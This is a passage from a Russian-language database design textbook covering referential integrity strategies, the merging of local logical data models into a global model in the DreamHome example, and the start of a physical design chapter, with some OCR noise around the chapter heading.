Каждый атрибут имеет домен, представляющий собой набор его допустимых значений. Например, атрибут “пол” может содержать одно из двух допустимых значений — “М” или “Ж”, поэтому его домен состоит из двух символьных строк длиной в один символ, содержащих указанные значения.
Данные ограничения устанавливаются при определении доменов атрибутов, присутствующих в модели данных (этап 1.4).
Целостность сущностей
Первичный ключ любой сущности не может содержать пустого значения. Например, каждая строка отношения Staff должна содержать уникальное значение атрибута первичного ключа; в данном случае это — атрибут Staf_No.
Подобные ограничения должны учитываться при определении первичных ключей для сущностей каждого типа (этап 1.5).
Ссылочная целостность
Внешний ключ связывает каждую строку дочернего отношения с той строкой родительского отношения, которая содержит это же значение соответствующего потенциального ключа. Понятие ссылочной целостности означает, что если внешний ключ содержит некоторое значение, то оно обязательно должно присутствовать в потенциальном ключе одной из строк родительского отношения. Например, атрибут Branch_No отношения Staff связывает данные о каждом из работников со строкой в отношении Branch, соответствующей тому отделению предприятия, в котором он работает. Если поле Branch_No не пусто, оно должно содержать допустимое значение, присутствующее в атрибуте Branch_No одной из строк отношения Branch. В противном случае окажется, что работник трудится в несуществующем отделении.
Существует несколько важных моментов, связанных с использованием внешних ключей. Во-первых, следует проанализировать, допустимо ли использование во внешних ключах пустых значений. Например, имеет ли смысл сохранять сведения о работнике, если не задан номер отделения предприятия, в котором он работает? Вопрос не в проверке существования заданного номера отделения, а в том, обязательно ли этот номер должен указываться. В общем случае, если участие дочернего отношения в связи является тотальным, то рекомендуется запрещать использование пустых значений в соответствующем внешнем ключе. В то же время, если участие дочернего отношения в связи является частичным, то помещение пустых значений в атрибут внешнего ключа должно быть разрешено.
Следующая проблема связана с организацией поддержки ссылочной целостности. Реализация этой поддержки осуществляется посредством задания ограничений существования, определяющих условия, при которых может вставляться, обновляться или удаляться каждое значение потенциального или внешнего ключа. Рассмотрим связь Staff Manages Property типа 1:М. Первичный ключ отношения Staff — атрибут Staff_No — является внешним ключом отношения Property. Рассмотрим следующие ситуации.
Случай 1. Вставка новой строки в дочернее отношение (Property). Для обеспечения ссылочной целостности необходимо убедиться, что значение атрибута внешнего ключа Staff_No новой строки отношения Property равно пустому значению либо некоторому конкретному значению, присутствующему в одной из строк отношения Staff.
Случай 2. Удаление строки из дочернего отношения (Property). При удалении строки из дочернего отношения никаких нарушений ссылочной целостности не происходит.
Случай 3. Обновление внешнего ключа в строке дочернего отношения (Property). Этот случай подобен случаю 1. Для сохранения ссылочной целостности необходимо убедиться, что атрибут Staff_No в обновленной строке отношения Property содержит либо пустое значение, либо некоторое конкретное значение, присутствующее в одной из строк отношения Staff.
Случай 4. Вставка строки в родительское отношение (Staff). Вставка строки в родительское отношение (Staff) не может вызвать нарушения ссылочной целостности. Добавленная строка просто становится родительским объектом, не имеющим дочерних объектов. В данном случае это означает, что новый работник еще не отвечает ни за какие объекты недвижимости
Случай 5. Удаление строки из родительского отношения (Staff). При удалении строки из родительского отношения ссылочная целостность будет нарушена в том случае, если в дочернем отношении будут существовать строки, ссылающиеся на удаленную строку родительского отношения. Другими словами, ссылочная целостность будет нарушена, если удаленный работник отвечал за один или больше объектов недвижимости. В этом случае может быть использована одна из следующих стратегий.
NO ACTION. Удаление строки из родительского отношения запрещается, если в дочернем отношении существует хотя бы одна ссылающаяся на нее строка. В нашем случае это звучит так: “Нельзя удалить сведения о работнике, отвечающем в настоящий момент хотя бы за один объект недвижимости”.
CASCADE. При удалении строки из родительского отношения автоматически удаляются все ссылающиеся на нее строки дочернего отношения. Если любая из удаляемых строк дочернего отношения выступает в качестве родительской стороны в некоторой другой связи, то операция удаления применяется ко всем строкам дочернего отношения этой связи,и т.д.. Другими словами, удаление строки родительского отношения автоматически распространяется на любые дочерние отношения. В нашем случае это звучит
так: “Удаление работника автоматически влечет за собой удаление сведений обо всех объектах недвижимости, которыми он занимался”. Очевидно, что в данном примере подобная стратегия неприемлема.
SET NULL. При удалении строки из родительского отношения во всех ссылающихся на нее строках дочернего отношения в атрибут внешнего ключа записывается пустое значение. Следовательно, удаление строк из родительского отношения вызовет занесение пустого значения в соответствующий атрибут строк дочернего отношения. В нашем случае это звучит так: “При удалении работника все объекты недвижимости, которыми он занимался, остаются без отвечающего за них работника”. Эта стратегия может использоваться только в тех случаях, когда в атрибут внешнего ключа дочернего отношения разрешается помещать пустые значения.
SET DEFAULT. При удалении строки из родительского отношения в атрибут внешнего ключа всех ссылающихся на нее строк дочернего отношения автоматически помещается значение, указанное для этого атрибута как значение по умолчанию.уТаким образом, удаление строки из родительского отношения вызывает помещение принимаемого по умолчанию значения в атрибут внешнего ключа всех строк дочернего отношения, ссылающихся на удаленную строку. В нашем случае это будет звучать так: “При удалении работника все объекты недвижимости, которыми он занимался, передаются некоторому другому работнику (например, руководителю отделения)”. Эта стратегия применима только в тех случаях, когда атрибуту внешнего ключа дочернего отношения назначено некоторое значение, принимаемое по умолчанию.
NO CHECK. При удалении строки из родительского отношения никаких действий по сохранению ссылочной целостности данных не предпринимается.
Случай 6. Обновление первичного ключа в строке родительского отношения (Staff). Если значение первичного ключа некоторой строки родительского отношения будет обновлено, нарушение ссылочной целостности будет иметь место в том случае, если в дочернем отношении существуют строки, ссылающиеся на исходное значение первичного ключа. В нашем случае это значит, что работник, для которого было выполнено обновление, в данный момент отвечал за один или более объектов недвижимости. Для сохранения ссылочной целостности может использоваться любая из описанных выше стратегий. При использовании стратегии CASCADE обновление значения первичного ключа в строке родительского отношения будет отображено в любой строке дочернего отношения, ссылающейся на данную строку (каскадным образом).
Требования данного предприятия
В заключение требуется проанализировать ограничения, называемые ограничениями предприятия (или бизнес-правилами). Например, обновление сущностей может регламентироваться принятыми на предприятии правилами, описывающими методы выполнения транзакций, связанных с подобными обновлениями. В нашем примере, в компании DreamHome может быть принято правило, запрещающее одному работнику одновременно заниматься более чем десятью объектами недвижимости.
Документирование всех ограничений целостности данных
Поместите сведения обо всех установленных ограничениях целостности данных в словарь данных. Они потребуются на этапе физической реализации базы данных.
Этап 2.7. Обсуждение разработанных локальных логических моделей данных с конечными пользователями
Цепь Убедиться, что созданные локальные модели данных точно отражают представления пользователей о предметной области приложения.
На данный момент работа над локальными моделями данных, отражающих представления конкретных пользователей о работе предприятия, должна быть закончена и полностью отражена в документации. Однако, прежде чем второй этап разработки можно будет считать полностью завершенным, необходимо обсудить с пользователями созданные логические модели данных и всю сопроводительную документацию.
Прежде чем перейти к третьему этапу, предусмотренному обсуждаемой методологией проектирования баз данных, мы бегло познакомимся с полезным дополнительным методом проверки локальных логических моделей данных, выполняемой с помощью диаграмм потоков данных.
Взаимосвязь между логическими моделями данных и диаграммами потоков данных
Логическая модель данных отображает структуру сохраняемых данных предприятия. Диаграмма потоков данных (Data Flow Diagram — DFD) отображает перемещение данных в пределах предприятия и помещение их в хранилища информации. Все атрибуты, которые сохраняются на предприятии, должны быть объявлены в одном из типов сущностей и, вероятно, найти свое место в потоках данных, перемещающихся в пределах предприятия. Если обе эти технологии используются для моделирования требований пользователей, каждая из них может применяться для контроля согласованности и полноты другой. Правила, которые определяют отношения между этими двумя технологиями, следующие:
каждое хранилище данных должно представлять все множество типов сущностей;
атрибуты в потоках данных должны принадлежать сущности того или иного типа.
Этап 3. Создание и проверка глобальной логической модели данных
Цепь Объединение отдельных локальных логических моделей данных в единую глобальную логическую модель данных, представляющую ту часть предприятия, которая охватывается данным приложением.
На данном этапе фазы логического проектирования баз данных строится глобальная логическая модель данных, создаваемая посредством слияния отдельных логических моделей данных, отражающих представления каждого пользователя. По завершении объединения локальных моделей необходимо проверить правильность полученной глобальной модели, как в отношении правил нормализации, так и в отношении возможности выполнения транзакций, предусмотренных спецификациями на функции отдельных пользователей. Проверка выполняется с использованием тех же методов, которые применялись при выполнении этапов 2.3 и 2.4. Однако проведение нормализации потребуется только в том случае, если в процессе слияния были внесены изменения в состав отдельных типов сущностей. Аналогично, проверка возможности выполнения транзакций выполняется только для тех областей модели, которые были подвергнуты изменениям в ходе слияния. В больших системах подобный подход позволяет существенно сократить объем требуемых повторных проверок.
Хотя каждая отдельная логическая модель данных предполагается корректной, полной и непротиворечивой, любая из них отражает лишь восприятие системы отдельным пользователем или группой пользователей. Другими словами, каждая модель отражает не функции предприятия, а лишь представление о функциях,предприятия отдельных его работников. Поэтому любая из этих моделей является неполной. А это означает, что между отдельными моделями в полном наборе представлений могут существовать несовместимость и взаимное перекрытие. Следовательно, при слиянии локальных моделей данных в единую глобальную модель
придется прилагать усилия для устранения конфликтов между отдельными представлениями и принимать во внимание их возможное перекрытие.
Процедуру слияния можно считать самой важной в ходе логического проектирования базы данных, поскольку с ее помощью создается представление о предприятии, не зависящее от любых конкретных пользователей, бизнес-процессов или приложений. Данный этап предусматривает выполнение следующих действий.
Этап 3.1. Слияние локальных логических моделей данных в единую глобальную модель данных.
Этап 3.2. Проверка глобальной логической модели данных.
Этап 3.3. Проверка возможностей расширения модели в будущем.
Этап 3.4. Создание окончательного варианта диаграммы “сущность-связь”.
Этап 3.5. Обсуждение глобальной логической модели данных с пользователями.
Этап 3.1. Слияние локальных логических моделей данных в единую глобальную модель данных
Цель Объединить отдельные локальные логические модели данных в единую глобальную логическую модель данных предприятия.
В небольших системах, насчитывающих два-три пользовательских представления с незначительным количеством типов сущностей и связей, задача сравнения локальных моделей с последующим слиянием и устранением любых возможных противоречий является относительно несложной. Однако в крупных системах потребуется использовать более систематический подход. Ниже вашему вниманию предложен один из подобных подходов, который можно использовать для выполнения слияния локальных моделей и разрешения любых возникающих при этом проблем. Предлагаемый подход предусматривает выполнение следующих действий.
Анализ имен сущностей и их первичных ключей.
Анализ имен связей.
Слияние общих сущностей из отдельных локальных моделей.
Включение (без слияния) сущностей, уникальных для каждого локального представления.'
Слияние общих связей из отдельных локальных моделей.
Включение (без слияния) связей, уникальных для каждого локального представления.
Проверка на наличие пропущенных сущностей и связей.
Проверка корректности внешних ключей.
Проверка соблюдения ограничений целостности.
Выполнение чертежа глобальной логической модели данных.
Обновление документации.
Вероятно, самый простой метод слияния нескольких локальных моделей данных в единую модель состоит в слиянии двух локальных моделей в одну общую модель, с последующим добавлением к ней третьей локальной модели (и т.д.). Процесс добавления к предыдущему результату очередной локальной модели будет продолжаться то тех пор, пока все модели не будут слиты в единую глобальную модель. Этот подход можно считать более простым, чем попытка слить все локальные модели за одну операцию.
Очень важно отметить, что, прежде чем приступать к созданию глобального представления информационной модели предприятия, следует убедиться, что каждая из сливаемых локальных логических моделей была создана в полном соответствии с последовательностью действий, предусмотренных первым и вторым этапами разработки, определенными в обсуждаемой методологии проектирования баз данных.
Анализ имен сущностей и их первичных ключей
Может оказаться полезным предварительно проанализировать имена сущностей, присутствующих в локальных моделях данных, — эти сведения можно найти в словаре данных. Проблемы имеют место в следующих случаях:
если две или более сущностей имеют одно и то же имя, но на самом деле отличаются одна от другой;
если две или более сущностей идентичны, но имеют различные имена.
Для выявления возможных проблем следует сравнить между собой составы данных сущностей каждого типа. В частности, обнаружить эквивалентные сущности с различными именами поможет сравнение их первичных ключей.
Анализ имен связей
Выполняемые действия аналогичны описанным на предыдущем этапе.
Слияние общих сущностей из отдельных локальных моделей
Теперь следует проанализировать имена и содержимое сущностей каждого типа, присутствующих в сливаемых логических моделях. Обычно эта процедура включает следующие действия:
слияние сущностей с одинаковыми именами и первичными ключами;
слияние сущностей с одинаковыми именами, но с различными первичными ключами;
слияние сущностей с различными именами, имеющих одинаковые или различные первичные ключи.
Слияние сущностей с одинаковыми именами и первичными ключами. Как правило, сущности с одним и тем же первичным ключом представляют один и тот же объект реального мира и, следовательно, должны быть слиты. Объединенная сущность будет включать все атрибуты сливаемых сущностей, за исключением дублирующихся. Так, в листинге 8.1 перечислены атрибуты, связанные с двумя сущностями, носящими имя Staff, которые определены в двух различных представлениях, названных Viewl и View2. В обоих случаях первичным ключом является атрибут Staff_No. Слияние этих сущностей осуществляется путем объединения их атрибутов, поэтому в сводной сущности Staff будут присутствовать все атрибуты исходных сущностей. Отметим, что в данном случае имеет место конфликт, связанный со способом представления в каждой из исходных сущностей имени работника. В подобной ситуации, прежде чем выбрать необходимый способ представления конфликтных данных, следует (по возможности) проконсультироваться с пользователями каждого из исходных представлений. Обратите внимание, что в нашем примере было выбрано развернутое представление атрибута Name, т.е. разделение его в сводной сущности на атрибуты FName и LName.
Листинг 8.1. Слияние сущностей Staff из представлений Viewl и View2
(Представление Viewl)
Staff (Staff_No, Name, Position, Sex, Salary, Branch_No)
Primary Key Staff_No
Foreign Key Branch_No references Branch(Branch_No)
^Представление View2)
Staff (Staff_No, FName, LName, Address, Branch_No)
Primary Key Staff_No
Foreign Key Branch_No references Branch(Branch_No)
(Глобальное представление)
Staff (Staff Jto, FName, LName, Address, Position, Sex, Salary, Branch_No)
Primary Key Staff_No
Foreign Key Branch Jto references Branch(Branch Jto)
Слияние сущностей с одинаковыми именами, но с различными первичными ключами. В некоторых ситуациях могут быть обнаружены две сущности с одним и тем же именем, в которых используются различные первичные ключи, однако имеются одинаковые потенциальные ключи. В этом случае сущности сливаются аналогично тому, как это было сделано в предыдущем варианте. Дополнительно потребуется выбрать в результирующей сущности первичный ключ, объявив все остальные ключи альтернативными. В листинге 8.2 перечислены атрибуты двух сущностей Staff, определенных в двух различных представлениях под именами Viewl и View2. Первичным ключом сущности Staff из представления Viewl является атрибут Name, а первичным ключом сущности Staff из представления View2 — атрибут Staff Jto. Однако в сущности Staff из представления Viewl определен альтернативный ключ Staff Jto, а в сущности Staff из представления View2 — альтернативный ключ (FName, LName). Хотя первичные ключи в каждой из исходных сущностей различны, первичный ключ сущности Staff из представления Viewl является альтернативным ключом сущности Staff из представления View2, и наоборот. Сущность, полученная в результате слияния двух исходных сущностей, аналогична результирующей сущности, представленной в листинге 8.1, однако в ней следует дополнительно определить альтернативный ключ (FName, LName).
* Листинг 8.2. Слияние эквивалентных сущностей с различными первичными ключами
(Представление Viewl)
Staff (Staff No, Name, Position, Sex, Salary, Branch_No)
Primary Key Name
Alternate Key Staff Jto
Foreign Key Branch_No references Branch(Branch No)
Представление View2)
Staff (Staff Jto, FName, LName, Address, Branch_No)
Primary Key Staff_No
Alternate Key FName, LName
Foreign Key Branch_No references Branch (Branch No)
(Глобальное представление)
Staff (Staff Jto, FName, LName, Address, Position, Sex, Salary, Branch_No)
Primary Key StaffJto
Alternate Key FName, LName
Foreign Key Branch Jto references Branch(Branch_No)
Слияние сущностей с различными именами, имеющих одинаковые или различные первичные ключи. В некоторых случаях можно обнаружить сущности, которые имеют различные имена, но предназначены для одной и той же цели. Подобные эквивалентные сущности можно распознать по их именам, которые будут указывать на их сходное назначение, по их содержанию и по их первичным ключам. Кроме того, их
можно распознать по участию в определенных связях. Типичным примером подобной ситуации является наличие в моделях сущностей с названиями Staff (Персонал) и Employee (Работник), которые, по сути, являются эквивалентными и должны быть слиты в единую сущность.
Включение (без слияния) сущностей, уникальных для каждого локального представления
На предыдущем этапе были выделены все сущности, описывающие подобные объекты. Все остальные сущности просто включаются в глобальную модель без внесения каких-либо изменений.
Слияние общих связей из отдельных локальных ллоделей
На этом этапе анализируются имена и назначение каждой из связей во всех представлениях отдельных пользователей. Прежде чем объединять связи, очень важно разрешить любые конфликты, которые могут иметь место между ними, — например, в отношении ограничений участия или кардинальности. Выполняемые на этом этапе действия включают слияние связей с одинаковыми именами и назначением, после чего может потребоваться выполнить слияние связей с различными именами, но имеющих одно и то же назначение.
Включение (без слияния) связей, уникальных для каждого локального представления
На предыдущем этапе были выявлены и слиты все связи, имевшие сходное назначение (по определению, эти связи должны существовать между одними и теми же сущностями, которые также должны быть слиты друг с другом). Все оставшиеся связи включаются в глобальную модель без каких-либо изменений.
Проверка на наличие пропущенных сущностей и связей
Вероятно, одной из самых трудных задач при создании глобальной модели данных является задача выявления пропущенных сущностей и связей между элементами представлений различных пользователей. Если на предприятии существует корпоративная модель данных, она может использоваться для обнаружения сущностей и связей между элементами представлений различных пользователей, которых нет ни в одном из локальных представлений. В то же время, при проведении опросов пользователей конкретного представления в качестве превентивной меры следует попросить их уделить некоторое внимание сущностям и связям, которые, по их мнению, могут существовать в других представлениях. Кроме того, при анализе атрибутов сущностей каждого типа можно попробовать выделить ссылки на сущности, принадлежащие другим пользовательским представлениям. Достаточно часто оказывается, что атрибут, связанный с той или иной сущностью в представлении одного пользователя, соответствует первичному ключу, альтернативному ключу или даже простому, неключевому атрибуту некоторой сущности из другого представления.
Проверка корректности внешних ключей
На этом этапе может осуществляться слияние различных сущностей и связей, изменение первичных ключей и установка новых связей. Убедитесь, что внешние ключи в дочерних сущностях по-прежнему являются корректными, и в случае необходимости внесите в модель все требуемые изменения.
Проверка соблюдения ограничений целостности
Убедитесь, что установленные для глобальной логической модели ограничения целостности данных не вступают в противоречие с теми ограничениями, которые были установлены для каждого из пользовательских представлений. Любые конфликты следует устранять посредством проведения консультаций с пользователями.
Выполнение чертежа глобальной логической модели данных
На этом этапе рисуется окончательный вариант ER-диаграммы, представляющей глобальную логическую модель данных, полученную в результате слияния всех локальных моделей.
Обновление документации
Обновление документации выполняется с целью отображения любых изменений, вносимых в процессе создания глобальной логической модели данных из набора отдельных пользовательских представлений. Очень важно, чтобы документация всегда поддерживалась в актуальном состоянии и точно отражала текущее состояние модели данных. Если впоследствии в модель будут вноситься изменения, либо в ходе физической реализации базы данных, либо в процессе ее сопровождения, все внесенные изменения также должны немедленно фиксироваться в документации. Устаревшая документация часто является источником множества досадных ошибок и служит причиной принятия неверных решений.
Этап 3.2. Проверка глобальной логической модели данных
Цель Проверка глобальной логической модели данных с помощью методов нормализации и контроль возможности выполнения требуемых транзакций.
На этом этапе производятся действия, аналогичные тем, которые выполнялись на этапах 2.3 и 2.4 при проверке каждой из локальных логических моделей данных.
Этап 3.3. Проверка возможностей расширения модели в будущем
Цель Определение вероятности внесения каких-либо существенных изменений в созданную модель данных в обозримом будущем и оценка того, насколько данная модель приспособлена для этого.
Очень важно, чтобы созданная глобальная модель была легко расширяема. Если модель сможет поддерживать только текущие требования, то время ее существования будет весьма ограниченным, а для реализации поддержки новых или изменяющихся требований потребуется прилагать значительные усилия. Необходимо так построить модель, чтобы она была легко расширяема и позволяла реализовать поддержку новых требований с минимальным изменениями в работе уже существующих пользователей.
Следовательно, имеет смысл выполнить проверку созданной модели с точки зрения эффективности реализации новых требований, которые могут иметь место в будущем. Однако не следует вносить в модель каких-либо изменений, пока они не будут одобрены пользователями.
Этап 3.4. Создание окончательного варианта диаграммы „сущность-связь"
Цель
Создание окончательного варианта диаграммы “сущность-связь”, отображающей глобальную логическую модель данных предприятия.
Завершив все проверки созданной глобальной логической модели, можно приступить к подготовке окончательного варианта ER-диаграммы. Эта диаграмма должна представлять глобальную логическую модель данных той части предприятия, которая моделируется в данном приложении. Описывающая эту модель документация (включая схему отношений и словарь данных) должна быть обновлена и подготовлена в полном объеме.
Этап 3.5. Обсуждение глобальной логической модели данных с пользователями
Цель Убедиться, что созданная глобальная логическая модель данных адекватно отображает моделируемую часть информационной структуры предприятия.
Глобальная логическая модель данных предприятия к этому моменту должна быть полностью завершена и проверена. Сама модель и прилагаемая к ней документация предоставляются для просмотра и анализа конечным пользователям, которые должны убедиться, что она точно отображает структуру и функционирование предприятия.
В главе 11, “Пример разработки логического проекта базы данных”, приведен пример практического использования описанной в этой главе методологии логического проектирования баз данных для разработки приложения-примера DreamHome. Все описанные в этой главе этапы в обобщенном виде представлены в приложении Е, “Краткий обзор методологии проектирования реляционных баз данных”. В следующей главе описываются этапы физического проектирования базы данных.
Резюме
Методология проектирования баз данных предусматривает три основные фазы разработки: концептуальное, логическое и физическое проектирование.
Логическое проектирование базы данных представляет собой процесс конструирования модели информационной структуры предприятия, выполняемый в соответствии с требованиями выбранной схемы организации информации (например, реляционной). Однако создаваемая логическая модель не зависит от особенностей конкретных СУБД и других физических условий реализации.
Согласно предлагаемой методологии основными этапами логического проектирования баз данных реляционного типа являются: создание и проверка локальных логических моделей данных для представлений отдельных пользователей (этап 2); построение и проверка глобальной логической модели данных предприятия (этап 3).
Действия, необходимые для преобразования концептуальной модели данных в логическую модель данных, включают: удаление связей типа M:N, удаление сложных связей, удаление рекурсивных связей, удаление связей с атрибутами, удаление множественных атрибутов, перепроверка связей типа 1:1 и удаление избыточных связей.
Логическая модель данных может быть проверена с помощью методов нормализации, а также на возможность выполнения всех требуемых транзакций. Нормализация используется для общего улучшения характеристик модели, что достигается с помощью введения различных ограничений, позволяющих избежать дублирования данных. Проведение нормализации позволяет получить уверенность в том, что результирующая модель более точно отражает особенности предприятия, обладает внутренней согласованностью, минимальной избыточностью и максимальной устойчивостью.
Существует два подхода к проверке логической модели на возможность выполнения всех требуемых транзакций.
Исходя из описания каждой транзакций убедиться, что логическая модель позволяет получить всю информацию (сущности, связи и их атрибуты), необходимую для выполнения любой из них.
Непосредственно на ER-диаграммах отобразить все пути доступа к данным, необходимые для выполнения транзакций.
Ограничения целостности данных представляют собой такие ограничения, которые вводятся с целью предотвратить помещение в базу противоречивых данных. Существует пять типов ограничений целостности: обязательные данные, ограничения для доменов атрибутов, целостность сущностей, ссылочная целостность и требования данного предприятия.
Для поддержания ссылочной целостности данных устанавливаются ограничения на существование, определяющие условия, при которых потенциальный или внешний ключ может быть вставлен, обновлен или удален.
Существует несколько стратегий обработки попыток удаления строки родительского отношения, на которую ссылаются одна или несколько строк дочернего отношения: NO ACTION, CASCADE, SET NULL, SET DEFAULT и NO CHECK.
Ограничения предприятия иногда называют бизнес-правилами. Например, обновление сущностей может быть ограничено бизнес-правилами, зафиксированными в требованиях к ручному выполнению тех или иных видов транзакций.
Логическая модель данных обязательно должна дополняться сопроводительной документацией, включающей словарь данных, схему отношений и другие документы, создаваемые в процессе разработки модели.
Вопросы
Назовите три основные фазы процесса разработки баз данных и опишите назначение логического проектирования.
Опишите последовательность действий, выполняемых при преобразовании концептуальной модели данных в логическую модель.
Назовите правила образования отношений, представляющих сильные сущности, слабые сущности, бинарные связи типа “один к одному” и типа “один ко многим”, множественные атрибуты и связи типа “суперкласс/подкласс”.
Поясните, как методы нормализации могут использоваться для проверки логической модели данных и набора отношений, созданных на основе этой модели.
Опишите два подхода, которые могут использоваться для проверки предоставления логической моделью возможностей выполнения всех требуемых транзакций.
Поясните назначение ограничений целостности и назовите пять основных типов подобных ограничений.
Опишите все существующие типы стратегий, которые могут применяться для обработки попыток удаления строки родительского отношения, на которую имеются ссылки в дочернем отношении.
Назовите типичные задачи, которые приходится решать при слиянии локальных логических моделей данных в единую глобальную логическую модель.
ГЛАВА
':Ж^ЖО
да^И
Методология физическойМетодология физическойЖ^ВуДИЙ«Ж||зЯ8||Ж^ВуДИЙ«Ж||зЯ8||проектированияпроектированияададИрВЙ|ИрВЙ|’W'K?. чЯ;Й№йУ$реляционных баз данных!’W'K?. чЯ;Й№йУ$реляционных баз данных!■шв:;<$ай®8■шв:;<$ай®8
Методология физической
Методология физической
Ж^ВуДИЙ
«Ж||зЯ8||
Ж^ВуДИЙ
«Ж||зЯ8||
проектирования
проектирования
ад
ад
ИрВЙ|
ИрВЙ|
’W'K?. чЯ;Й№йУ$
реляционных баз данных!
’W'K?. чЯ;Й№йУ$
реляционных баз данных!
■шв:;<$ай®8
■шв:;<$ай®8
В этой главе...
Назначение этапа физического проектирования базы данных-Й
Преобразование логического проекта базы данных в соответ- .
№■ ^проект.(/1|@1^
|>азрабО^базы данных в среде целевой <55^^
Д^алйОшцш бизнес-правил предприятия в среде целе^^С^^ Выбор необходимой файловой структуры на основе анализа ^^выполняемых транзакций»1
Юценка целесообразности использования вторичных индексов^ |||':#ля повышения лройзводитмьности СИЙ^^д ?ГШЯ1|^ Оценка целесообразности денормализацииг^бшений ^я:^| . повышения производительности сйсте^ы^ ^’^& '
Методы определения размера базы дмных Проектирование средств защиты в соотве|||^|^^ ниями#ользователейЖеГл' "
Организация мониторингами настройка функционирования;. ; : системы.%
'^
ЙЯ
:S^^^
7<
Я^ШЙЬШ
В этой главе, а также в главе 12, “Пример разработки физического проекта базы данных”, мы обсудим и продемонстрируем на конкретном примере методологию физического проектирования реляционной базы данных.
Отправной точкой проводимого в этой главе обсуждения является глобальная логическая модель данных и сопроводительная документация, созданные на втором и третьем этапах предлагаемой методологии проектирования баз данных (см. главу 8). Их создание начиналось с преобразования локальных концептуальных моделей данных (см. главу 7) в локальные логические модели данных, которые впоследствии использовались для разработки набора соответствующих отношений. Логические модели и представляющие их наборы отношений были проверены на соответствие требованиям правил нормализации (см. главу 6) и возможность выполнения необходимых транзакций. Этап логического проектирования базы данных завершался процедурой слияния локальных логических моделей данных, отражающих представления отдельных пользователей, в единую глобальную логическую модель данных предприятия.
В соответствии с предлагаемой методологией, в ходе третьей и последней фазы процесса разработки базы данных разработчик должен принять решение о том, как преобразовать логический проект базы данных (т.е. совокупность сущностей, атрибутов, связей и установленных ограничений) в проект физической базы данных, реализуемой в среде выбранной целевой СУБД. Поскольку многие аспекты физического проектирования баз данных существенно зависят от типа выбранной целевой СУБД, возможно существование более чем одного способа реализации любого заданного элемента базы данных. Совершенно очевидно, что разработчик должен хорошо знать функциональные возможности выбранной целевой СУБД, а также четко понимать все ее достоинства и недостатки, что позволит ему принимать обоснованные решения при выборе того или иного метода реализации базы данных. Кроме того, в каждом конкретном случае разработчик должен уметь выбрать оптимальную стратегию размещения и хранения данных.
В этой главе мы рассмотрим, как преобразовать отношения, созданные на основе глобальной логической модели данных, в конкретный вариант реализации базы данных. Кроме того, вам будут предложены рекомендации по выбору структуры хранения информации, размещенной в таблицах базы данных, оценке необходимости создания индексов и определения целесообразности денормализации логической модели данных с внесением контролируемой избыточности. Мы обсудим все детали того или иного аспекта физической реализации, если это будет необходимо для уяснения обсуждаемого материала. Прежде чем приступать к подробному обсуждению методологии физического проектирования баз данных, сделаем ее краткий общий обзор.
В главе 12, “Пример разработки физического проекта базы данных”, будет продемонстрировано практическое использование предлагаемой методологии физического проектирования баз данных на примере приложения DreamHome (раздел 1.7), реализуемого в среде целевой СУБД Microsoft Access.
Сравнение этапов логического и физического проектирования баз данных
В предлагаемой вашему вниманию методологии весь процесс проектирования разделен на три основные фазы: концептуальное, логическое и физическое проектирование баз данных.
Фаза, предшествующая физическому проектированию, называется фазой логического проектирования. Результаты ее выполнения в значительной степени независимы от особенной физической реализации проекта. При логическом проектировании не принимаются во внимание специфические функциональные возможности целевой базы данных и прикладных программ, однако учитываются особенности выбранной модели хранения данных. Результатом логического проектирования являются глобальная логическая модель данных и комплект описывающей ее сопроводительной
документации, включающий, в частности, словарь данных и реляционную схему. В совокупности эти результаты являются исходной информацией для фазы физического проектирования базы данных и предоставляют ее разработчику все необходимое для принятия решений, направленных на достижение максимальной эффективности создаваемого проекта.
Образно говоря, при логическом проектировании разработчик сосредоточивается на том, что надо сделать, тогда как при физическом проектировании он ищет способ, как это сделать. В каждом случае требуется наличие различных навыков. Так, специалист по физическому проектированию баз данных должен ясно представлять, как та или иная СУБД функционирует в компьютерной системе, а также хорошо знать все функциональные возможности целевой СУБД. Поскольку функциональные возможности различных СУБД достаточно сильно отличаются друг от друга, физическое проектирование всегда тесно связано с особенностями конкретной выбранной системы. Однако этап физического проектирования базы данных не является совершенно изолированным от других — как правило, между логическим и физическим проектированием имеется постоянная обратная связь, часто охватывающая и разработку пользовательских приложений. Например, решения, принятые на этапе физического проектирования с целью повышения производительности системы, могут влиять на структуру ее логической схемы.
Общий обзор методологии физического проектирования баз данных
В этой главе описываются следующие этапы физического проектирования баз данных.
Этап 4. Перенос глобальной логической модели данных в среду целевой СУБД.
Этап 4.1. Проектирование таблиц базы данных в среде целевой СУБД.
Этап 4.2. Реализация бизнес-правил предприятия в среде целевой СУБД.
Этап 5. Проектирование физического представления базы данных.
Этап 5.1. Анализ транзакций.
Этап 5.2. Выбор файловой структуры.
Этап 5.3. Определение вторичных индексов.
Этап 5.4. Анализ необходимости введения контролируемой избыточности данных.
Этап 5.5. Определение требований к дисковой памяти.
Этап 6. Разработка механизмов защиты.
Этап 6.1. Разработка пользовательских представлений (видов).
Этап 6.2. Определение прав доступа.
Этап 7. Организация мониторинга и настройка функционирования системы.
Обсуждаемая нами методология физического проектирования баз данных включает четыре основных этапа. Концептуальное и логическое проектирование охватывает три первых этапа разработки баз данных, а физическое проектирование — этапы 4
Этап 4 фазы физического проектирования включает разработку таблиц базы данных и установку необходимых ограничений целостности данных. В обоих случаях должны использоваться все доступные функциональные возможности целевой СУБД.
Этап 5 включает выбор схемы хранения данных и определение методов доступа к таблицам базы данных. Как правило, каждая СУБД предоставляет несколько аль-
тернативных вариантов схемы хранения данных. Исключением являются лишь настольные СУБД для платформы IBM PC, в которых чаще всего используется фиксированная схема хранения информации. С точки зрения пользователя организация внутренней структуры хранения помещенных в таблицы данных должна быть совершенно прозрачна — пользователь должен иметь возможность получать доступ к любой таблице и отдельным ее строкам без необходимости указания способа хранения этих данных. Это означает, что СУБД должна обеспечивать полную независимость физического хранения данных от их логической организации. Только в этом случае внесение изменений в физическую организацию базы данных не окажет никакого влияния на работу пользователей (см. раздел 2.1.5). Отображение логической модели данных на структуру их физической организации определяется внутренней схемой базы данных (см. рис. 2.1). Разработчик должен предоставить детальные физические проекты базы данных как с точки зрения СУБД, так и с точки зрения операционной системы. В проекте реализации базы данных в СУБД разработчик должен определить структуры файлов, которые будут использоваться для представления каждой из таблиц. В проекте реализации базы данных в операционной системе разработчик должен указать расположение отдельных файлов и обеспечить необходимую их защиту. На пятом этапе также анализируется необходимость снижения уровня требований нормализации данных в логической модели, что может способствовать повышению общей производительности системы. Однако эти действия следует предпринимать только в случае реальной необходимости, поскольку введение в базу данных избыточности неизбежно вызовет появление проблем с поддержанием целостности данных. Мы можем порекомендовать читателю, прежде чем приступать к рассмотрению пятого этапа данной методологии, внимательно ознакомиться с приложением Б, 